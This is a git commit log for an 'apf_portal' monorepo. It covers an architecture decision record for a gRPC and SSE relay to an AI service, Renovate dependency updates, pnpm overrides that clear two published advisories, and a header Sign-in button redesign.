- [x] `pnpm nx test portal-bff` — **443 specs pass** (was 425).
- [x] `pnpm nx lint portal-bff` — clean. The eslint ignore for `grpc/gen/**` covers ts-proto's relaxed style; hand-written `ai-client/` files pass the project's full rule set.
- [x] `pnpm nx build portal-bff` — clean, webpack-compiled. No bundle-size delta on the runtime artefact yet (the module is unimported).
- [x] `pnpm install` — lockfile reconciled; `grpc-tools` postinstall fetches `protoc` from the precompiled-binaries mirror without errors on Linux x64.
- [ ] **Manual smoke (next PR)** — once the SSE bridge ships, point `AI_SERVICE_GRPC_ENDPOINT` at the local `apf-ai-service` Compose service and run an end-to-end chat against the canned stub responses on the AI side. Not in scope for this PR.

## What's next

1. **PR — SSE bridge controller.** Wires `AiClientModule` into `AppModule`, adds `POST /api/ai/chat` (SSE), `GET /api/ai/rag/search`, `GET /api/ai/models`. Adds the `OnApplicationShutdown` hook + `enableShutdownHooks()`. Adds `apf-ai-service` to `infra/local/dev.compose.yml`. Promotes ADR-0024 from `proposed` to `accepted` and updates `CLAUDE.md`'s ADR roll-up.
2. **PR (frontend chantier)** — chatbot widget on `portal-shell` consuming the SSE endpoint.
3. **PR (post-v1)** — proto-drift CI gate diffing the vendored `proto/apf-ai/` against the upstream tag.
4. **Coordinated amendment** — when the first production deployment is in scope, both repos record the same prod-hardening choice (signed envelope or mTLS) on the same date.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #195
2026-05-19 21:30:04 +02:00
julien 3f3f47317b docs(adr-0024): ai service relay — gRPC dial + SSE bridge + POC principal (#194)
CI / check (push) Successful in 2m31s
CI / scan (push) Successful in 2m12s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 2m27s
CI / perf (push) Successful in 3m59s
Docs site / build (push) Successful in 3m56s
## Summary

Proposes [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md) — the integration contract between `apf_portal`'s BFF and the sibling `apf-ai-service` repository. The ADR bundles four tightly-coupled sub-choices: the wire transport between BFF and AI service, the wire transport between BFF and SPA for chat streaming, how the protos reach the BFF, and how user identity travels across the boundary in v1. **Status: `proposed`.** No code lands in this PR — the goal is to lock the contract before the implementation chantier starts.

The chosen design:

| Boundary | Choice |
|---|---|
| BFF ↔ AI service | Native **gRPC HTTP/2** via `@grpc/grpc-js`, h2c in dev / h2 + TLS in prod |
| BFF ↔ SPA (chat) | **`text/event-stream`** — one SSE frame per `ChatEvent` oneof case |
| BFF ↔ SPA (unary) | Plain JSON endpoints for `RagService.Search` + `ModelsService.ListModels` |
| Proto distribution | **Vendored** into `apps/portal-bff/src/grpc/proto/apf-ai/`, `ts-proto` codegen on demand, both `.proto` + generated `.ts` committed |
| Identity (POC) | **Unsigned `Principal { subject, roles[], attributes{} }`** in the proto body — mirrors `apf-ai-service`'s ADR-0010 |
| Production hardening | Choice between signed envelope and mTLS — **explicitly deferred** until first production deployment is in scope |

## What lands

- `docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md` — new MADR-formatted ADR with the four sub-choices, decision drivers, considered options, consequences, confirmation criteria, open production-hardening question, and the related-ADRs map.
- `docs/decisions/README.md` — one new index row for ADR-0024 (`proposed`, tags `backend, security, observability`, 2026-05-19).

No source-code changes. No `CLAUDE.md` update — the ADR stays in `proposed` until reviewed, so the accepted-ADRs roll-up at the top of `CLAUDE.md` stays at 0001 → 0023. Promotion to `accepted` lands in the same PR that ships the first implementation chantier (proto vendor + `AiClientModule`), at which point `CLAUDE.md` gets the "0024 accepted" line.

## Notes for the reviewer

- **Why bundle four sub-choices in one ADR rather than four.** They couple tightly: the SPA-facing transport choice depends on the BFF-facing transport choice (gRPC-Web from the browser would dissolve the bridge layer entirely); the auth posture depends on having identity travel in the proto body (vendoring a different contract would change that); the proto-distribution choice depends on the contract being stable enough to vendor (a churning OpenAPI spec would push toward an SDK package). Splitting would force cross-ADR coordination on every revision. The ADR keeps a separate "Sub-choice" section per topic so each one stays reviewable on its own.
- **Out of scope deliberately.** The chatbot UI lives in a future frontend chantier; the role mapper (Entra groups → inclusive-expanded `roles[]`) is a separate proposed ADR; the ingestion-through-BFF path waits for the admin app's "manage AI corpus" surface; tool dispatch is wired but exercised against an empty registry in v1.
- **Hash-salt coordination is the one operational gotcha.** The same `HashUserIdService` salt has to land in both repos' deployment config so `apf-ai-service.audit_log.actor_id_hash` and `apf_portal.audit.events.actor_id_hash` produce identical values. Recorded as an open item in the ADR's "More Information" section; the deployment doc that distributes the secret is a v1-launch deliverable.
- **`apf-ai-service` cross-reference**. The ADR references `apf-ai-service/docs/adr/ADR-0010` (POC unsigned principal) and `apf-ai-service/docs/adr/ADR-0011` (mono-transport gRPC) as upstream anchors. Both are already accepted on the AI side. The "production hardening" decision will be a coordinated amendment in both repos on the same date.
- **No `DownstreamApiClient` (ADR-0014) reuse.** The OBO pattern in ADR-0014 targets *Entra-protected* downstreams that validate the user's access token. `apf-ai-service` is not Entra-protected — it accepts an unsigned Principal proto. The ADR explicitly calls this out so the reader does not expect symmetry with the Entra-protected downstream path.
- **Phasing recorded in the ADR's "More Information" section.** This PR is step (1) "ADR accepted". Steps 2–5 are separate PRs in order: client skeleton → bridge controller → frontend chatbot → proto-drift CI gate.

## Test plan

- [x] `pnpm run --silent prettier --check docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md` — passes (hook ran on commit).
- [x] Markdown links inside the ADR resolve to existing files (`0005`, `0009`, `0010`, `0012`, `0013`, `0014`, `0017`, plus `CLAUDE.md`).
- [x] Index row in `docs/decisions/README.md` follows the table's existing format (column count, tag vocabulary, date format).
- [x] No tag-vocabulary additions required — `backend`, `security`, `observability` are all in the existing vocab.
- [ ] **Review focus** — the four sub-choices and the production-hardening deferral. Code chantier is gated on this PR's acceptance.

## What's next (once accepted)

1. **PR — proto vendor + codegen + `AiClientModule` skeleton** — vendors the protos, wires `ts-proto` codegen, sets up the NestJS module with the metadata interceptor and the Principal mapper, all tested against an in-process fake gRPC server. No live endpoint yet.
2. **PR — `ai-bridge` controller** — `POST /api/ai/chat` (SSE), `GET /api/ai/rag/search`, `GET /api/ai/models`, live against `apf-ai-service` in the dev Compose stack.
3. **PR (frontend chantier)** — the chatbot widget on `portal-shell` consuming the SSE endpoint.
4. **PR (post-v1)** — proto-drift CI gate that diffs the vendored copy against the upstream tag.
5. **Coordinated amendment** — when the first production deployment is in scope, both repos record the same prod-hardening choice (signed envelope or mTLS) on the same date.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #194
2026-05-19 20:11:15 +02:00
APF Portal Bot 40d4f7d290 chore(deps): update dependency cytoscape to v3.33.4 (#193)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m47s
CI / a11y (push) Successful in 2m47s
CI / check (push) Successful in 5m52s
CI / perf (push) Successful in 6m45s
Docs site / build (push) Successful in 2m27s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [cytoscape](http://js.cytoscape.org) ([source](https://github.com/cytoscape/cytoscape.js)) | devDependencies | patch | [`3.33.3` -> `3.33.4`](https://renovatebot.com/diffs/npm/cytoscape/3.33.3/3.33.4) |

---

### Release Notes

<details>
<summary>cytoscape/cytoscape.js (cytoscape)</summary>

### [`v3.33.4`](https://github.com/cytoscape/cytoscape.js/releases/tag/v3.33.4)

[Compare Source](https://github.com/cytoscape/cytoscape.js/compare/v3.33.3...v3.33.4)

Release version v3.33.4

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #193
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-19 18:39:15 +02:00
APF Portal Bot 8bdfe0a273 chore(deps): update dependency ts-jest to v29.4.10 (#192)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m34s
CI / a11y (push) Successful in 2m7s
CI / check (push) Successful in 4m44s
CI / perf (push) Successful in 5m54s
Docs site / build (push) Successful in 2m19s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [ts-jest](https://kulshekhar.github.io/ts-jest) ([source](https://github.com/kulshekhar/ts-jest)) | devDependencies | patch | [`29.4.9` -> `29.4.10`](https://renovatebot.com/diffs/npm/ts-jest/29.4.9/29.4.10) |

---

### Release Notes

<details>
<summary>kulshekhar/ts-jest (ts-jest)</summary>

### [`v29.4.10`](https://github.com/kulshekhar/ts-jest/blob/HEAD/CHANGELOG.md#29410-2026-05-18)

[Compare Source](https://github.com/kulshekhar/ts-jest/compare/v29.4.9...v29.4.10)

##### Bug Fixes

- pass `resolutionMode` to `ts.resolveModuleName` for hybrid module support ([b557a85](https://github.com/kulshekhar/ts-jest/commit/b557a85f85c3fd34523ec3a15293afbdc9dea83c))
- rebuild `Program` when consecutive compiles need different module kinds ([a82a2b3](https://github.com/kulshekhar/ts-jest/commit/a82a2b32c4987a5249fd5284283117dd2fa3be47)), closes [#&#8203;4774](https://github.com/kulshekhar/ts-jest/issues/4774)
- respect tsconfig `moduleResolution` instead of forcing `Node10` ([1bffffc](https://github.com/kulshekhar/ts-jest/commit/1bffffc667557c173ae0c1f93dd436920775dac4))
- **transformer:** transpile `mjs` files from `node_modules` for CJS mode ([96d025d](https://github.com/kulshekhar/ts-jest/commit/96d025dd912ea2bceb18b67d2d509ada7a756d9d))
- **transformer:** use a consistent comparator in hoist-jest sortStatements ([8a8fd2f](https://github.com/kulshekhar/ts-jest/commit/8a8fd2fb8446655bba18367db9306a1089490e62))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/192
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-19 15:12:31 +02:00
APF Portal Bot 90504dd32b chore(deps): update dependency postcss to v8.5.15 (#191)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m5s
CI / check (push) Successful in 6m21s
CI / a11y (push) Successful in 2m21s
CI / perf (push) Successful in 7m14s
Docs site / build (push) Successful in 2m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [postcss](https://postcss.org/) ([source](https://github.com/postcss/postcss)) | devDependencies | patch | [`8.5.14` -> `8.5.15`](https://renovatebot.com/diffs/npm/postcss/8.5.14/8.5.15) |

---

### Release Notes

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.15`](https://github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8515)

[Compare Source](https://github.com/postcss/postcss/compare/8.5.14...8.5.15)

- Fixed declaration parsing performance (by [@&#8203;homanp](https://github.com/homanp)).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #191
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-19 14:20:10 +02:00
julien 8136695fa8 chore(deps): bump brace-expansion + ws overrides to clear audit (#190)
CI / check (push) Successful in 5m10s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m27s
CI / a11y (push) Successful in 2m11s
CI / perf (push) Successful in 5m18s
Docs site / build (push) Successful in 5m1s
## Summary

Clears the two moderate GHSA advisories that started failing `ci:audit`:

- **`brace-expansion`** `>=5.0.0 <5.0.6` — DoS via large numeric range that bypasses the documented `max` protection ([GHSA-jxxr-4gwj-5jf2](https://github.com/advisories/GHSA-jxxr-4gwj-5jf2)). The existing override floor was at `5.0.5`; bumped one patch to `5.0.6`.
- **`ws`** `>=8.0.0 <8.20.1` — uninitialized memory disclosure ([GHSA-58qx-3vcg-4xpx](https://github.com/advisories/GHSA-58qx-3vcg-4xpx)). No prior override; added one scoped to the 8.x advisory window only.

Both are reached transitively through Nx; nothing in this repo's own dependency surface is vulnerable directly.

## What lands

`package.json` (`pnpm.overrides` block):

```diff
- "brace-expansion@<5.0.5": ">=5.0.5",
+ "brace-expansion@<5.0.6": ">=5.0.6",

+ "ws@>=8.0.0 <8.20.1": ">=8.20.1",
```

`pnpm-lock.yaml` reconciled with `pnpm install`.

## Notes for the reviewer

- **Why the `ws` override is range-scoped, not a blanket `ws@<8.20.1`.** Lighthouse pulls `ws@7.5.10` via its own tree; the 7.x line sits entirely outside the advisory window (`>=8.0.0 <8.20.1`). A blanket `<8.20.1` override would force-bump that transitive across a major version boundary and risk Lighthouse breakage with no security gain. The range form `>=8.0.0 <8.20.1 → >=8.20.1` patches exactly the vulnerable consumers (`@module-federation/dts-plugin`, etc.) and leaves Lighthouse's pin untouched.
- **Why an override and not waiting for Nx to bump.** Nx 22.7.2 is already on `main` (commits `bd94bb4` / `6b20c34`) but its sub-chain still resolves `ws@8.18.0` and `brace-expansion@5.0.5`. Upstream pickup will land eventually via Renovate; in the meantime the audit gate blocks CI on every PR. Overrides are the standard pnpm escape hatch for this exact situation. The pattern is already used in this file (`axios`, `ajv`, `esbuild`, `follow-redirects`, `ip-address`, `protobufjs`, `tmp`, `yaml`).
- **Pruning policy.** Once Nx ships a release whose `pnpm-lock.yaml` resolves both packages at or above the patched versions on its own, both override entries can be removed. The convention in this file's existing entries is to leave overrides in place even when redundant (cheap insurance against silent regressions); pruning is a separate sweep, not part of this fix.
- **No application code touched.** Both packages live deep in the Nx/Module Federation build tooling — `brace-expansion` inside `minimatch`'s glob expansion, `ws` inside Module Federation's HMR dev socket. Neither surfaces in the BFF or SPA runtime bundles. Build + test + lint were re-run across `portal-shell`, `portal-admin`, `portal-bff`, `shared-charts`, `shared-ui` as a sanity check; all green.

## Test plan

- [x] `pnpm install` — lockfile reconciled, no extraneous package churn.
- [x] `pnpm audit --audit-level=moderate` — "No known vulnerabilities found" (replaces the two-row failure that started this PR).
- [x] `pnpm nx run-many -t build test lint -p portal-shell,portal-admin,portal-bff,shared-charts,shared-ui` — all green. Module Federation's HMR socket (the surface that *uses* `ws`) is exercised implicitly by every Angular build via `@nx/angular`'s webpack pipeline.
- [ ] **Manual smoke** — `pnpm nx serve portal-shell` + `pnpm nx serve portal-admin`: dev servers come up, HMR reloads on a trivial edit, no warnings or stack traces about `ws` or `brace-expansion` resolution.

## What's next

- Renovate will eventually pick up an Nx release whose own sub-chain ships `ws@>=8.20.1` and `brace-expansion@>=5.0.6` natively. At that point, the two override entries here are dead weight and can be pruned as a follow-up sweep alongside any other stale overrides.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #190
2026-05-19 12:28:13 +02:00
julien aa61ea0e02 feat(portal-shell): ghost-style Sign-in button with log-in icon (#189)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 4m3s
CI / check (push) Successful in 4m31s
CI / a11y (push) Successful in 1m16s
CI / perf (push) Successful in 5m53s
## Summary

The anonymous "Sign in" CTA in `portal-shell`'s header was a filled brand-primary block sitting next to two round icon-only buttons (Notifications, Help). The contrast was off — the filled rectangle visually dominated the row even though it's the *third* action in the strip. This PR turns it into a ghost-style button (no fill, no border) with a `log-in` icon ahead of the label, matching the quiet posture of its neighbours while still reading as the primary CTA for unauthenticated users.

## What lands

`apps/portal-shell/src/app/components/header/header.html` — the anonymous-state button:

| Aspect | Before | After |
|---|---|---|
| Fill | `bg-brand-primary-500` (filled) | `bg-transparent` (ghost) |
| Text colour | `text-white` | `text-brand-primary-500` (`-300` in dark) |
| Border | none | none — pure text-only style |
| Hover | darker fill | light `bg-brand-primary-50` tint + `text-brand-primary-600` |
| Icon | (none) | `<lib-icon name="log-in" [size]="16" aria-hidden="true" />` ahead of the label |
| Padding / gap | `px-4 gap-2` | `px-3 gap-1.5` (slightly tighter, makes room for the icon without growing the chrome) |
| Height | `h-11` | `h-11` (unchanged — 44 × 44 touch target per [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md) holds) |

`libs/shared/ui/src/lib/icon/icon.ts` — adds the missing pair of the existing `log-out` icon:

- Imports `LogIn` from `lucide-angular`.
- Registers `'log-in': LogIn,` in the alphabetical registry between `'layout-dashboard'` and `'log-out'`.

## Notes for the reviewer

- **Ghost vs. outline vs. filled — why ghost.** Tried two intermediate iterations during the design pass (outline with brand border, then a more compact outline). The user preferred the ghost rendering once we removed the border — the header strip is the right surface for an "always-quiet, surfaces on hover" CTA, since the user typically scans for the search bar first, not the auth state. Filled buttons are the right call inside content where the CTA *is* the focal point (forms, modals).
- **Touch-target stays at 44 × 44.** `h-11` is kept on purpose. The CI a11y gate from ADR-0016 (`touch-target check (44×44 min)`) is non-negotiable for interactive controls; visually shrinking horizontal padding + reducing visual weight is the right way to "compact" a button without breaking the target rule.
- **`aria-hidden="true"` on the icon.** The adjacent `<span>` carries the localised label, and the screen-reader contract is "the button announces 'Sign in', not 'log-in icon Sign in'". The icon is decorative reinforcement.
- **Label still wrapped in `<span i18n="@@header.signIn">` rather than directly on the button.** Required because the button now contains both an icon child and the text — Angular's `i18n` on the button itself would extract the icon's rendered SVG into the translation unit, which is not what translators want to see. Wrapping the text isolates the translation unit cleanly.
- **`log-in` belongs in `shared-ui`, not portal-shell.** Even though portal-shell is the only consumer today, the icon registry is by contract the single point of truth for both apps — `portal-admin`'s eventual sign-in surface will use the same icon, so registering it once in the shared lib is the right boundary.

## Test plan

- [x] `pnpm nx test portal-shell` — green. The existing spec asserts `btn.textContent.trim() === 'Sign in'`; the `<lib-icon>` renders to an SVG (no text content) and the label is now inside a `<span>`, so the text-trim check still holds.
- [x] `pnpm nx test shared-ui` — green. Icon registry's exhaustive-key spec picks up the new entry automatically (it iterates `Object.keys(ICON_REGISTRY)`).
- [x] `pnpm nx build portal-shell` — clean, no bundle-size deltas worth flagging (`log-in` is tree-shaken alongside the rest of lucide-angular).
- [x] `pnpm nx lint portal-shell shared-ui` — clean.
- [ ] **Manual smoke** — `pnpm nx serve portal-shell`, signed-out, header visible:
  - Anonymous state: ghost "Sign in" button with the log-in icon. Hover surfaces a faint fill; focus shows the brand outline ring.
  - Switch to authenticated: button is replaced by `<lib-user-menu>` (unchanged).
  - `error` state: amber "Can't reach the server" badge (unchanged).
  - Toggle dark mode: text shifts to `brand-primary-300`, hover surfaces a `gray-800` fill; still readable.
  - Tab from the address bar into the header — focus order: search input → bell → help → Sign in. Focus ring on the ghost button matches the other icon buttons (`outline-brand-primary-500 outline-offset-2`).

## What's next

- `portal-admin` will get the same `log-in` icon for its own (still skeleton) sign-in surface once that wiring lands — single shared registry means no further change here.
- If the marketing folks ever ask the sign-in CTA to come back forward visually (festival days, post-incident push), the ghost class block can flip to a filled variant locally without touching the icon or i18n contract.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #189
2026-05-19 11:42:33 +02:00
APF Portal Bot 3e120da668 chore(deps): update typescript tooling to v8.59.4 (#188)
CI / commits (push) Has been skipped
CI / check (push) Successful in 5m28s
CI / a11y (push) Successful in 1m59s
CI / perf (push) Successful in 6m34s
Docs site / build (push) Successful in 2m31s
CI / scan (push) Failing after 1m6s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | patch | [`8.59.3` -> `8.59.4`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.3/8.59.4) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | patch | [`8.59.3` -> `8.59.4`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.3/8.59.4) |

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint (@&#8203;typescript-eslint/utils)</summary>

### [`v8.59.4`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8594-2026-05-18)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.3...v8.59.4)

This was a version bump only for utils to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.4) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.59.4`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8594-2026-05-18)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.3...v8.59.4)

##### 🩹 Fixes

- **typescript-eslint:** export Compatible\* types from typescript-eslint to resolve pnpm TS error ([#&#8203;12340](https://github.com/typescript-eslint/typescript-eslint/pull/12340))

##### ❤️ Thank You

- Kirk Waiblinger [@&#8203;kirkwaiblinger](https://github.com/kirkwaiblinger)

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.4) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #188
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-19 09:48:46 +02:00
APF Portal Bot 5ef1e3d9bb chore(deps): lock file maintenance (#187)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m27s
CI / check (push) Successful in 5m46s
CI / a11y (push) Successful in 2m27s
CI / perf (push) Successful in 7m20s
Docs site / build (push) Successful in 3m0s
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on monday" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #187
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-18 03:08:42 +02:00
APF Portal Bot 0e206d4f89 chore(deps): lock file maintenance (#186)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 5m1s
CI / check (push) Successful in 6m25s
CI / a11y (push) Successful in 1m48s
CI / perf (push) Successful in 7m35s
Docs site / build (push) Successful in 3m28s
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on monday" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #186
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-18 02:50:41 +02:00
APF Portal Bot 93cf30679e fix(deps): update opentelemetry-js-contrib monorepo (#184)
CI / scan (push) Successful in 4m43s
CI / commits (push) Has been skipped
CI / check (push) Successful in 7m47s
CI / a11y (push) Successful in 3m17s
CI / perf (push) Successful in 5m56s
Docs site / build (push) Successful in 3m15s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@opentelemetry/instrumentation-document-load](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-document-load#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-document-load)) | dependencies | minor | [`^0.62.0` -> `^0.63.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-document-load/0.62.0/0.63.0) |
| [@opentelemetry/instrumentation-express](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-express#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-express)) | dependencies | minor | [`^0.65.0` -> `^0.66.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-express/0.65.0/0.66.0) |
| [@opentelemetry/instrumentation-ioredis](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-ioredis#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-ioredis)) | dependencies | minor | [`^0.65.0` -> `^0.66.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.65.0/0.66.0) |
| [@opentelemetry/instrumentation-nestjs-core](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-nestjs-core#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-nestjs-core)) | dependencies | minor | [`^0.63.0` -> `^0.64.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.63.0/0.64.0) |
| [@opentelemetry/instrumentation-pg](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-pg#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-pg)) | dependencies | minor | [`^0.69.0` -> `^0.70.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-pg/0.69.0/0.70.0) |
| [@opentelemetry/instrumentation-pino](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-pino#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-pino)) | dependencies | minor | [`^0.63.0` -> `^0.64.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-pino/0.63.0/0.64.0) |
